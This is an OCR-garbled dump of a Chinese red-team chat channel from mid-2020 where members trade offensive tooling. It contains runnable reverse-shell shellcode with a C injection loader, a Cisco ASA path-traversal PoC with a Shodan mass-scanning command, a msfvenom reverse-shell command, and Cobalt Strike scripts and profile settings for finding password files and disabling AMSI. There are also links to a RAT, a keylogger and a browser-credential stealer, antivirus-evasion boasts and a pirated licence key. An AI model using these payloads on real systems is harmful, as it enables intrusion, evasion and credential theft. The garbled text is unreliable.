551 https://pan.baidu.com/s/1P8qR_RgJF7FDMw2SfTsgww ZF3:vOdv
iB1SHTM% L.

Octotree v
. .


https://github.com/EvilAnne/Violation_Pnetest
https://pan.baidu.com/s/1P8qR_RgJF7FDMw2SfTsgww

B e Ed )

(O -2 2020,07.14 23:44

lceWing

|

s AY 1 A UE

Parallels Desktop 15 for Mac Pro Edition i f

RS ZEIFR 15 BEHR vm FIRARAT T, ELNBEERER, EFHRIERENR, KB EESBNIER
Wing: MEARAIEEEEES/LEALBT .

ERE: BERZEST &8

Black cher*: win BFEARELRLE [FF%X]

lengyi: #AMIK&HE mac [IER]

RedTeaming - 2020-07-15

#OSTRIFTER#  #IRBUIKRE #R5#
BN REIPE A R AN PR 4 45
A,
shellcode N2 B, R FEH?

WMEAES : HEXMESEIHMRRER, KR
Wing: #FW%ER. [EK]

Wing: SR,

WMEASE : IRIRGFA, L% A0S

RedTeaming - 2020-07-15

#ARPRAE R #
FIFAMSIHTIRBRAE ST, P H R YRR 4T 184FBug 7.



BRI N E~~~

L: wmFHEA, .
Wing: [#F5<] (451 (4T3 [4T5<] [4F5:] [4T5K]

RedTeaming - 2020-07-15

#LTBAFRIG#
https://ired.team/ 2—ARNERXEH T FER L~~~

F|FACreateThreadpool Waiti#{T#ZEN

https://ired.team/offensive-security/code-injectio...

Code:

#include
#include

unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x4 1\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x 18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7¢c\x02\x2c\x20\x4 1\xc 1\xc9\x0d\x4 1"
"\X01\xc1\xe2\xed\x52\x4 1\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\XfAxc9\x4 1\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd 1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x4 1\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x4 1\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x4 1\x52\xff\xe0\x58\x4 1\x59\x5a\x48"
"\x8b\x12\xe9\x5 7 \xfAxfAAXAx5d\x49\xbe\x7 7\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x4 1\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xfAxc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x4 1\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x4 1\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x4 1\x50\x41\x50\x48\x89\xe2\x57"
"\X57\x57\x4d\x31\xc0\x6a\x0d\x59\x4 1\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\X56\x50\x4 1\x50\x41\x50\x4 1\x50\x49\xfAxc0\x4 1 \x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc 1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x4 1\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x4 1\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"


https://ired.team/
https://ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait

"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

int main()

{

HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);

LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtIMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));

PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE);

return O;

}

Technique Overview

1. CreateEvent is used to create an event object witha Signaled state

2. RWX memory for the shellcode is allocated with virtualalloc and the shellcode is written there

3. CreateThreadpoolWait is used to create a wait object. 1st argument of the function is a callback
function, that will be called once the wait ends (immediately in our case, since our waitable event is in
the Signaled state from the start). We will pass the address of our shellcode (allocated in step 2)
as the callback function

4. setThreadpoolWait is used to set wait object to the wait object created in step 3

5. WaitForSingleObject is used to wait for the waitable object to become Signaled , but since our
event (waitable) object was created with a signaled state in step 1, our callback function specified

in step 3 is called and the shellcode is executed right away:



Debug 6 al Windows De

WaitForThreadPoolWaitCallbacks.cpp & X

itForThreadPoolW alibac - Global Scope) main()

@ No issues found 46 Ch:19 Cok22 TABS CRIF
v 3 x

Show output from: Debug

1WaitCallbac
Callback
The thread 8x4844 h ited with
The program * tForThreadP cks.e N exited with code

RedTeaming - 2020-07-16

THERSER, FTMXETEK]

{§FCVE-2020-0601 31T &% &

RedTeaming - 2020-07-17

HEIPAIRTS#
FAIMERIRSARBIENNE, EUZMREN.
GitHub+-+Rvn0xsy/OXID-Find:+Find+the+host+network+...



https://mp.weixin.qq.com/s/wca5osB5R16bWvtx2LnPPg
https://github.com/Rvn0xsy/OXID-Find

python2 finsubnet.py
[*] 47
[->]izd
[->]1172
[->]200
Y47
:d@9c:57e8']1}

» = ~/ve/R/0
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#FridaTips# #BPLEFERIVRBEIINBUgH
TNND, BridafffhR7A% 7iFLThE, BMKT, BR—EH.

BEBRRIE:

26:7b3:d09c:57e8

Z0XID=Find TN 0

py2R2FF 5+ sudo launchetl config user path /usr/bin:/bin:/usr/sbin:/sbin:/ust/local/bin #AGERBENT . AEKAE, NEAFIFES.

Burp Suite Professional v2

Dashboard Target Proxy Intruder Repeater Sequencer Decoder

Ll JSEditor  Hooks and functions  Graphical analysis
Server status |
Agplication status
Python binary path: /Users/wing/opt/anaconda3/envs/py27/bin/python
Pyro host: localhost
Pyro port: 9999

frida-compile path: /usr/local /bin/frida-compile

Frida JS files folder: /Users/wing/Desktop/RedTeamWing/t
Application 1D (spawn) / PID (attach): com.kanxue.pediyl
Frida USB

© Frida Remote Frida Local

ven cadPool Esccutor S Waork
Thread run( Thread

Application com kanxue.pediy] spawned correctly

Platfarm: Androéd

RedTeaming - 2020-07-18

T2 H

MRS — T BridalfF R VIS, BINAREBWiK, BRAT,

0201

Graphical hooks

Temporary Project - Wing

Comparer  Extender  Project options  User options  Passive Scan Cliemt

s

Custom plugins  Cenerate stubs  Debug export

Select file

Select file
Select folder Load default JS files
Start server
Kill server
Spawn application
Compile & Spawn
Attach application
Compile & Attach
Kill application
Detach application
Reload JS
Compile & reload JS
Detach all hooks

Clear console

Save settings to file

Load settings from file

X—TFE LN ERIEHEMS, REMET2REEN.



HREF: TF, 12, REFAR [HEHR]

MBS A, REEN sandbox 1l - BROTFEFE XEAOBEAIIMEMTIE, BFEIT,
RS : XEXEZRIEFAED

EMERE: LAY, 1\, AEETHIER—T

HERE: W, BITICT, BTEECKIRENER HBR], TRSEK

MRS IBIR GFRY, SHEmE
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#T BA3T5#

Proxifieri@ £ 3

4.0.1 (2020.7.7)

3.4.2 (2018.8.31)

3.3.1 (2016 #7%)

5EZ8G-C3WL5-B56YG-SCXM9-6QZAP (Standard Edition)
http://www.proxifier.com/download/#win-tab

¥B: [#78] Ladon+SocksftIEiI#H(fiProxifierd.0;EAfE)+|+K8EF 5 's+Blo...

WindowsHY, macHi7E Proxifier+2.26+fixed+i§fiZhR+for+Mac+Mac R AL B EE ik

RBPi: {EEGFTH

EviloX: (FEFThARRSZHF win

Wing: EfbeY, Mac #HE2H<L1T.

Black cher*: RUFRELHEHN, , FHERRE mac
Wing: M, WL mac HIMILERHE .

Wing: HAETIH,

Black cher*: [I2M8] #HH&EET, mac HEM

RedTeaming - 2020-07-19

#BugBounty#
EEIEE iR

FHEB
e
HE
BEER

AR IBIRIT 1
59— A, X&ET, BXASE.

Bug+Bounty+Automation+Framework+-+Ghostlulz+Hacks

RedTeaming - 2020-07-19

#BugBounty#
2R B shCHESR

FHEE
et
HE


http://www.proxifier.com/download/#win-tab
http://k8gege.org/Ladon/proxy.html
https://www.macwk.com/soft/proxifier
http://ghostlulz.com/bug-bounty-automation-framework/

BEER

X R4 1B HRITI5)
59— A, X&ET, BNESE.

Bug+Bounty+Automation+Framework+-+Ghostlulz+Hacks

RedTeaming - 2020-07-19

#LT AR TT#
AIMIREX B AR EN AN 158, C++FCsharphi 4~
OXID_Find: i@JOXIDfZH 233X EYWindowsiZf2 £ 41 L M-ttt +-+Uknow+-+St...

RS [NE] NEMESESE, ROSSREIAMALT [NE]
Wing: XBT
lengyi: FilA, fREZEEIERN K]

RedTeaming - 2020-07-19

# T EFRI5#
HackBar V2

[No License, FOREVER FREE] A HackBar for new firefox (Firefox Quantum). This addon is written in webextension and alternatives to the XUL version of original Hackbar.
HackBar+V2+-+ T &+ ¥ +Firefox+} /& (zh-CN)

G Ones Dawe DAE NRE (Qessus Que OnAF O oM F ZRAFR @ Hackes 6 - X
Encryption + Encoding> SOL~ XSS~ LFis XXE~ Other~ Commit now! HackBar v2
OV Lo URL | s/ M mOU e OAUth
K spin ure

® Executo

Post data Referer User Agent Cookies Add Header Clear A¥

RedTeaming - 2020-07-19

RN

GitHub+-+Q4n/CVE-2020-1362:+writeup+of+CVE-2020-13...

RedTeaming - 2020-07-20

ZRER A XF360
riE—2 AR R EXEER]

DE—MAXAAZHRROEAR (360X DEEWRIEMII) | MS509 Team


http://ghostlulz.com/bug-bounty-automation-framework/
https://uknowsec.cn/posts/notes/OXID_Find%EF%BC%9A%E9%80%9A%E8%BF%87OXID%E8%A7%A3%E6%9E%90%E5%99%A8%E8%8E%B7%E5%8F%96Windows%E8%BF%9C%E7%A8%8B%E4%B8%BB%E6%9C%BA%E4%B8%8A%E7%BD%91%E5%8D%A1%E5%9C%B0%E5%9D%80.html
https://addons.mozilla.org/zh-CN/firefox/addon/hackbar-free/?src=search
https://github.com/Q4n/CVE-2020-1362
https://www.ms509.com/2017/06/06/bypass360-analysis

Black cher*: ENIATFE#&ERL, XM75EITRE, pass
lengyi: Py BTE, SEHUERMERS, IMERMXE
Black cher*: UMfERIEH, ZWTE.

L: —RREBPAZNBHERIE [1R05]

Black cher*: EH, MEERME [EK]

L: EAUKEDIREIE AP SEE

RedTeaming - 2020-07-20

Question:

=T, BRCFERAFH—FM, cs EERWMETHFRIRE. LRET

Answer:

c RIRSM, go BHAART. RIEIR, FoEEE.

Wing: [GitHub+-+aydinnyunus/Keylogger:+Get+Keyboard,Mouse...]Chttps://github.com/aydinnyunus/Keylogger)
Black cher*: [{BH] ®RIFIEM
Wing: A win api BEE5—1"&E, &L,

RedTeaming - 2020-07-20

#C2#
C++
Java
Go

GitHub+-+jafarlihi/serpentine:+Windows+RAT+(Remote...

RedTeaming - 2020-07-21

#CSTips# #CSHEMETFE#

BEEILIE, ZNEERA, SREE—Tsharpsearch,
RV

[ESSHEN

menu "SUREFERIKIER "{

item "SharpSearch"{

local('bid’ ); < br > foreachbid (1){<br> &sharpsearch(]bid);
}

}

}

# ####Wing SubFunc

sub sharpsearch{

# EXZE



https://github.com/jafarlihi/serpentine

local('dialogbid');
bid =1;

%defaults["path"] = "C:\";
Y%defaults["blacklist"] = "rar,zip,exe,tar";
Y%defaults["string"] = "password";

dialog = dialog(" # %= % # % *,dialog, "Wing");

drow_text(dialog, " path"," % & :"); < br > drow,ext(dialog, "blacklist", "BRZE: ");
drow_text(dialog, " string "," string :"); < br > dbutton,ction(dialog, "Execute");

# dbutton_action(dialog, " Help '); < br > dialog, how(dialog);

}

HERFHER
Wing

B2 [Co\ L ]
B2 |rar,zip,exetar ]

string: [password ]

listener user computer note
Administrator * iZduzelk1kp02fZ

HEITERILN
' | Seatbelt ’

SharpSearch

EDR-AVHM

Fxnlare ' | Cnumaratinn b | b e s aro e




i = 1 =z L 2 1
beacon> sleep 3
[*] Tasked beacon to sleep for 3s
[+] host called home, sent: 16 bytes
[#] Tasked beacon to run .NET program: SharpSearch.exe path=C:\temp ext_blacklist=rar,zip,exe,tar searchterms=Wing
[+] host called home, sent: 124579 bytes
[+] received output
[+] Parsed Arguments:

path: c:\temp

ext_blacklist: rar, zip, exe, tar

searchterms: wing

[+] received output

Directory of c:\temp
2020/7/21 0:00:00 4 B wing.txt

1 Files(s) 48
Total Files Listed:
1 File(s)

1 Dir(s)
Finished in @0H:00M:00.00S

RedTeaming - 2020-07-22

LRI AMSIHZE AR B LEpowershell[7 E A AR IT R



11

6 Microsoft Corporation. {RE

dministrator>

\Administrator> .

lengyi: RMRICEEBIRATICRINETGE

RedTeaming - 2020-07-22

#Poc-Exp#
Xray B9Shiro PayloadE F,

shiroffi&#: MRxraySLhRshirolEtF+-+L2E, R2HFNTFE
RedTeaming - 2020-07-22

HIZIH
Win2012124%, RIFFI.

GitHub+-+BeichenDream/BadPotato:+Windows+tXfR{2F+BadP...


https://www.anquanke.com/post/id/211228
https://github.com/BeichenDream/BadPotato

RedTeaming - 2020-07-23

=X
GitHub+-+sailay1996/RpcSsimpersonator:+Privilege+E...

RedTeaming - 2020-07-23

#TARRIG#

YZ LRI A AR TR
GitHub+-+Kevin-Robertson/Invoke-TheHash:+PowerShel...
GitHub+-+checkymander/Sharp-SMBExec:+SMBExec+C#+mo...
CredNinja
AREERECENARBFANAIMITIE—T, @217,

L: Ladon I#EiFRRY

RedTeaming - 2020-07-23

#Poc-Exp#
CVE-2020-3452 Cisco ASA & Cisco Firepower i%& IR IZAVER X HZEURREA M2 FFPoC
#[FAIEEY"/+CSCOE+/portal_inc.lua" X431 J9 451
poct: https:///+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE %2b/portal_inc.luad&default-language&lang=../
poc2: https:///+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua

5 T—" pocsuite3fFft: pocsuite-z/CVE-2020-3452.py+at+master+-+zerOyu/poc...

pocsuite3 @heige RHEHERNW—NRFIMIEIELR, 1S5AIRINEBAERRA. HALHHNEBITERFSpocsuiteSHFEABR, FIMEFT — 1TSS, EERpushESHPEREUEH L%:

GitHub+-+zerOyu/pocsuite-z:+pocsuite-z+is+an+open-...

FIDAfERpocsuite-z3R Xt Bmut T HE BRI
python pocsuite3/cli.py -r pocsuite3/pocs/CVE-2020-3452.py --dork-shodan 'title:"SSL VPN Service" "webvpnlogin=1"' --thread 10

RedTeaming - 2020-07-23
#5ERIG#  #BlueTeam#
FERARI R MR 2 “IE SRS

Wing:

RedTeaming - 2020-07-24

#LTPAFRIS#
SealbeatB 2L T RZ BaIULESHENINGE, DERFR. tnd, RIFESI,

MEAET+ R+ ALRERE


https://github.com/sailay1996/RpcSsImpersonator
https://github.com/Kevin-Robertson/Invoke-TheHash
https://github.com/checkymander/Sharp-SMBExec
https://github.com/zer0yu/pocsuite-z/blob/master/pocsuite3/pocs/CVE-2020-3452.py
https://github.com/zer0yu/pocsuite-z
https://mp.weixin.qq.com/s/y5QpXYedIlLJqNeHlC4SNQ
https://mp.weixin.qq.com/s/fYaqtotkEfzLhlLN3qRaXw

z3r@yu: Seatbelt([https://github.com/GhostPack/Seatbelt)](https://github.com/GhostPack/Seatbelt))EMAEE, XN AIEXGRIFIFHINE SharpCollection ([GitHub+-+Flangvik/SharpCollec
tion:+Nightly+builds+...]Chttps://github.com/Flangvik/SharpCollection)) . ERXMI A LEZERSERETIE, FMAMERE? F2EATBEIE?

Wing: XURER3,

z3rQyu: BBARIFRT, BABHIR? §2EXENL?

Wing: YSERSELIN,

RedTeaming - 2020-07-24

RIS H#
VMRS AR 32 5 8 B&bug sirfI 1AL T
https://bit.ly/get-fusion-tp

RedTeaming - 2020-07-24

#IRA#
GitHub+-+initstring/dirty_sock:+Linux+privilege+es...

PAMFIARSR
1. SSHiEIT]
2. SEl

RedTeaming - 2020-07-24

#Burpidift#
Shiro##zhid

GitHub+-+pmiaowu/BurpShiroPassiveScan:+— & FBurpSui...

RedTeaming - 2020-07-24

#Poc-Exp#
Weblogic® & RANEEFA

WeblogicE N & iRANGZEFIA

RedTeaming - 2020-07-24

#Poc-Exp#
Weblogic® & RANEEFA

WeblogicE RS RENSSFIA
RedTeaming - 2020-07-25

#RARH#
MEBI—"exeX
GitHub+-+Flangvik/NetLoader:+Loads+any+C#+binary+i...
— csc /t:exe /out:NetLoader.exe Program.cs —~


https://bit.ly/get-fusion-tp
https://github.com/initstring/dirty_sock
https://github.com/pmiaowu/BurpShiroPassiveScan
https://mp.weixin.qq.com/s?__biz=MzIyNzY1MzUxMQ==&mid=100000071&idx=1&sn=5eaab2602d9f022a82f0d2c5d4b0ef5d&chksm=685ca3af5f2b2ab9423268185c1ea7eddd65680991802794e411f3d95746602ea8797e3c7cf4#rd
https://mp.weixin.qq.com/s?__biz=MzIyNzY1MzUxMQ==&mid=100000071&idx=1&sn=5eaab2602d9f022a82f0d2c5d4b0ef5d&chksm=685ca3af5f2b2ab9423268185c1ea7eddd65680991802794e411f3d95746602ea8797e3c7cf4#rd
https://github.com/Flangvik/NetLoader
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#Macro#
vbak i2httpsigsk

Sub WebRequest()

Url = http:///

On Error GoTo Request2

Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")

' very short timeouts, increase if you want. this is in miliseconds

objHTTP.setTimeouts 100, 100, 100, 100

'Get for example, can also be any other HTTP VERB, in case you POST, the Send method needs another argument (else you'll just post empty)

objHTTP.Open "GET", Url, False

objHTTP.Send

Set objHTTP = Nothing

Exit Sub

Request2:

'if you want you can create more error handlers, alternating url or serverxml/winhttp In case you want multiple errors you'll have to reset the error handle to -1
On Error GoTo -1

' In case of multiple error handlers

'On Error GoTo Request3

'you can change your URL here if you want

Set winHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
winHttpReq.Open "GET", Url, False

winHttpReq.Send

End Sub

RedTeaming - 2020-07-25

#redteam#
hwEBD, ASRE S — T 3?

HWERN— — I BATERN Z Lnk AN a5
HW7EB] — —ZIBASERD Z Lnk A Hifa R

Wing: BIRR: BRAE—RENN jio K. &

RedTeaming - 2020-07-26

#C2#
BRFERN, ARTHRIEFFHN, BRIEAFMRTE,


https://mp.weixin.qq.com/s/ZbtGJAT-SyZ50LRNOCg14w

Wing: E—RAFREEERERME—TFH
-1 REREFE

RedTeaming - 2020-07-26

#AMBhL#

GitHub+-+S3cur3Th1sSh1t/WinPwn:+Automation+for+int...

RedTeaming - 2020-07-26

1B51E txt B psi


https://t.co/hMnmoVX9zP?amp=1

o &) No ety detecing Bris e

710509D3143075865154300651 16 635KB 2020.97:26 0%:34:43 LT
gt . ATe W
~ et tiemons anlmenodiles et
Conmminty
Sexe

DETECTION DETAILS BEHAVIOR COMMUNITY
Ad duvare 2 Undeteasd ALD VS Z: Undetocted
Alven S Uneisced Amy-AVL 7 Ungsiscssg
Amany (@) Unostessat AunsMabia 7} Undatecsea
A (o cloud) {7y unaetccrd BiDefender 7} Undetectee
DD Tt ) Uneleces Dauy 73 Undeictes
CA7-QuirkHeal ) Undetecsed oM ) Undetwcsea
Comodo 7) undetecwea Cymet {Z) Undotectea
Cyren &) Ungwtecid ity ) Uil
nScan () Unowtaesse ESET-NO02) 7 Undenscsea
FircEye @ ungetecea Foranet 7} Undoiectea
COws ) Unowisss tesrus 3 Undeieces
Aangmin {2} Unamcasa KTAnmAnes 7 Undeacsoa
KrGw Z) Ungeicows Kngzan 7} Undeteced

Wing: AKFNEB—TEXHmE.

Wing: SEi&?

lengyi: WET, M py, ps HURERIZA

z3rQyu: K3, XMEN av KIMLLZIEEF?

lengyi: Vt

z3rQyu: thx

Wing: BIfELE, ETHET.

z3royu: IRIR, BREAFER—TER, RABFERXMNEWET ., ERESAHMNKF

RedTeaming - 2020-07-27

#Poc-Exp#

Shiro_Xray/xray_exp.py+at+master+-+jas502n/Shiro_X...

RedTeaming - 2020-07-27

#BENL TR#
BERETR, AT MRRINZBCREE. (78]

reNgine+-+An+Automated+Reconnaissance+Framework+Me...

1]


https://github.com/jas502n/Shiro_Xray/blob/master/xray_exp.py
http://amp.kitploit.com/2020/07/rengine-automated-reconnaissance.html?amp=0

List of all unique subdomains

Check HTTP Probe
(httox)
Captures IP address, page title,
hitp status

Visual Identification

Alive Sub

Directory Search
(airsearch)
(TODOC: Custom Wordlist)
Domain as input (Gptional)

faquatene)

Gathes and?olnts check for alive endpaints,

page title and sort by
content length

(gau Qutput
wayback, common (Dashboard)
crawl_hakrawior)

Wing:

RedTeaming - 2020-07-28

#CSTips#

without launching PowerShell processes through the use of runspace.

spacerunner.exe -i bin\beacon.ps1 -o bin\beacon.exe -b -h

GitHub+-+Mr-BOb/SpaceRunner:+This+tool+enables+the...

RedTeaming - 2020-07-28

#7551 E Z CobaltStrike4.1#9BOF

RedTeaming - 2020-07-29

#AMSE#

—HTIFEF AN EE (Passwords | History | Bookmarks | Cookies) ST E


https://github.com/Mr-B0b/SpaceRunner
https://mp.weixin.qq.com/s/-jU4HrPtB8rD4cmqAKZOZw

gOIEE MR FE R KavTFia R

GitHub+-+moonD4rk/HackBrowserData:+Decrypt+passwor...

RedTeaming - 2020-07-29

#Tools#
ImpacketE4%i%Hr4s: GitHub+-+ropnop/impacket_static_binaries:+Standalo...

RedTeaming - 2020-07-30

#IAR BRI RHA
Misticaltt iR &R B 2 f& =] AL EMeterpreterEICMP

GitHub+-+IncideDigital/Mistica:+An+open+source+swi...

Wing: SRIXT, HFM exe TKER,

z3royu: AKERZEFAAREND? T2 win RIRAZFERETIR? KNEEHR
Wing: py T8 exe RIBBIXIXEE, FA pyinstaller REEIT,

Z3royu: @, BSRM—TF

RedTeaming - 2020-07-30

HERRESH#

MENS—NTEMMRRBEBEREBCEAMMKRIINGELR, HRAEKRE, XESERENIXEHT-TAGNE, WEBEHFAHES, URTLE, HHT0, TREEERRBMLEM.

HRE: BUERARNEHMNIEERARAK
Wing: g, LIIRIZIRL4ET T, TUHCISREBANEBAARITH .
z3rQyu: IRIERIBEER

RedTeaming - 2020-07-30

AN A5y e
ME—EORE, BNEE-THLTRRNERERE, BARS,

C/C++iRRLF S L%

R : BEER ¢, BMERFIROMHNBELRZT, XFR

crazyman: c#

HRE: ct ERNEHSRENMERZRAEA

Wing: BBIREHRAE, tnd BAFIAMENEIXH, BD ip BR2AMFRHT, MEEERBTLE,
HRE: GRAE, RENHES cdn 1

Wing: EEHTHRMNETE., BRI, &.

RS host HIEREBREN + cdn BIBROZE A8

Wing: ZTERRE, TRMRAT.

RedTeaming - 2020-07-31

#CSTips#
4185
common/ListenerConfig


https://github.com/moonD4rk/HackBrowserData
https://github.com/ropnop/impacket_static_binaries/
https://github.com/IncideDigital/Mistica
https://mp.weixin.qq.com/s/QR8iJ-hKv3GRdlu9Qyf5JQ

public String pad(String vart, int var2) {
StringBuffer var3 = new StringBuffer();
var3.append(var1);

while(var3.length() < var2) {

if (this.watermark == 0) {

//var3.append("501P%@AP[4\PZX54(P)7COI7YEICAR — STANDARD — ANTIVIRUS — TEST — FILEIH+H"\u0000");
}else {

var3.append((char)CommonUtils.rand(255));

}

}

return var3.toString().substring(0, var2);
3 pad(String varl va

\gBuffer var3 = StringBuff

)

g() .substring(

RedTeaming - 2020-08-01

HEERITH#
A EE RIEN

HackTricks+-+HackTricks

z3rQyu: SIE—HRXPMIESFME

RedTeaming - 2020-08-01

#CSTips#
EMERIERIRR, CoprofierlBERIRE, WINEIAY, REAREXEFSHN.
RiFEE.


https://book.hacktricks.xyz/?nsukey=rhC1Via0oUxjtxUNM4jFjmmFNw4SQ237rtdXK0KXVCDva1Pgxz%2FKdGuWofKqMYkorKtJW%2F0Qw8rEJeq%2BHUilucoVeLYxzy5b2QGEqdkojZ9sL0g5pLNf%2Fa6D3i22qomX5%2Fu68nnsZjlt0fh%2BxQVfYWwGHdKV6smYgykXjTNinu4EXRmj8i2kEG%2BeWZJk2O9iSEDJlDQwvalHduidUtDrCA%3D%3D

Error: option <.stage.compile_time> requires

C2profile 5 IIX
EERRESNREA
hk

ER3.14hRAEFT, FEEEIE set spawnto_x86 . set spawnto_x64

pHeap —-XX:+UseParallelGC -Duser.language=en Fclasspath ./cobaltstrike. ja

post-ex {
set spawnto_x86

set spawnto_x64

obfuscate
smartinject

amsi_disable
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#HLIBARRIS#

o}

MERRIERNXEREFERT —TRAIDER, BIENEAL, AEEIEMINWIATLUZIREBRIDRER, wifilyssidrIbARRHE, ebay FEFIIE, HEMM, HAPIERM, SHREE—1B, ERAENBEFEERRE, XTEREN,

3

AirDrive Forensic
Keylogger Pro - USB
Hardware Keylogger,...



https://mp.weixin.qq.com/s/ra_N5dkhZOcHmdHuzl-oQw

Huge savings at The Brand Outlet

Treat Yourself =

Reebok Milw.

SSEHIX X3 2 m I X ]

WeE#N

EULIKE

MEFEITEAN: (BmE



W3 44 0
EULIKE

R34
EULIKE

MHE+IRABER)CER+
M2 ={H BN
TE_MEHE: (39.99%1+9.
99)*7.20+¥50.00=¥409.86

HEEREEm AN FAEEX
(USPS & iR)

FitERESE: 1 (BRES
REXIREGECENMEERES
&)

FLEFRIZZE: ¥150.00

ZEAE 4104150 BxfHE1E

&l QL

Efrz & EmER, XRs?k
SRR EEEFNESITER

HTEFREIBLER™E, B
BIRRFoiafait, T ERAAEE
EE, Hal FEANRERR

A= EFENL T = B B /5 EFnknA



1 DAY AN=X0HEH AR TIXT I AANHA

©) ONEN -
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HLIPARITS#

MRAREANNEREERT —TMRAICRSE, BIEMEE E, AEEIBHHwWIin DUZI2EEREICRES, wilifyssida] AR, ebay FEIIE, MM, KAVEEAW, FROE—1B, EEAENEFEEREE, XTMTEEEN.

Your Watched Items -



https://mp.weixin.qq.com/s/ra_N5dkhZOcHmdHuzl-oQw

AirDrive Forensic

Keylogger Pro - USB
Hardware Keylogger, ...

US $39.99

Huge savings at The Brand Outlet

Treat Yourself =

Reebok Milw.




TR X3k 2 qa X ]

MBEEITELN: (|2
th*EE + RN 5K + €
9 25 =t E AN
TE_MMEEE: (39.99%1+9.
99)*7.20+¥50.00=¥409.86

WEERERAIN: TAEEX
(USPS &)

MitERES: 1 (BRES
BRI E GECEMEERES
itH)

FEEPFREER: ¥150.00

LWL WA

ZHE 4104150 B X BHIE

QL XL



62 A R

Y EncmesEn, LRER
S RBAEARNERITEN

BT ERRIFLEE™E, T
R T AT, CTEEAAEE
EE, BRI FTEANRERR
TERIKE = RITHRIKR,

O ONaN -
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#H BT

URTIIEDKARCA, FJIUFIF163—RMRMERHA, REEHEHRNEALR, ERASHMSHIUNE, MBERKS, FENERE, BEIXTARNNTAIKS.
REMEMROZFEXE, BRIEESEMUNIE, REAPTRAEZMZ{T!

IRATENZ & RIE-TRR D Z++ BRI EE

SwakshiEHRG & (4 AT SPF

RedTeaming - 2020-08-02

ADIEACLIREA: ADIEHIACLEEA++ N EHIIES

RedTeaming - 2020-08-03

#MacTips#
Macfel 88— s fSjarfEapp
python jar2app ../../../02-1XBREE/Behinder_v2.0.1/Behinder.jar -j "-XstartOnFirstThread" -i ~/Pictures/hacker.icns

HREMETEEZR, Bdinstall4diTEH, AINERMRA, EXRKIARVENHERE, —TABRRHEBERT (FHMER) .


https://payloads.online/archivers/2020-02-05/1
https://mp.weixin.qq.com/s/cqpy716gTJ1lrl338MuEsQ
https://422926799.github.io/posts/be9dae0a.html

&

H

Behinder.app

rl

] 5 - 246 MB

RedTeaming - 2020-08-04

HIRTR S

BENERHENTXTNTAEE, REEHREL, RNEMR. [

PurpleSharp @ — M ARURIBTIE, SEERMHERMNFMEEIIWindows Active Directory (AD) REHMRE, ZTEAFZEMIXARFHIADMERTFAENRETH, SBEBRRENT. SRR BAEMEEHE.
KEEINAE/INAE: “PurpleSharpi@ 3 # A EREEMAEWindowsRSS/IHEE (FIANARSZ2:EEIR (SMB) | WindowsEEATE (WMI) | inf2di2iHA (RPC) MayREE) EinEEN EHATENL ~
RedTeaming - 2020-08-05

— dns¥iEEM IR

GitHub+-+ArnoOx/DNSEXxfiltrator:+Data+exfiltration+...

RedTeaming - 2020-08-05

#HLIBARRIS#
ERREEEERE—TemdiIBERT, FELATEEMBIE, RERTMT. MFRITT,


https://github.com/Arno0x/DNSExfiltrator

msfvenom -p windows/shell reverse tcp LHOST-192.168.56.102 -f exe > danger.exe

net user <login>

echo $client New-Object System.Net.WebClient > script.psl

echo $targetlocation e "™ >> script.psl
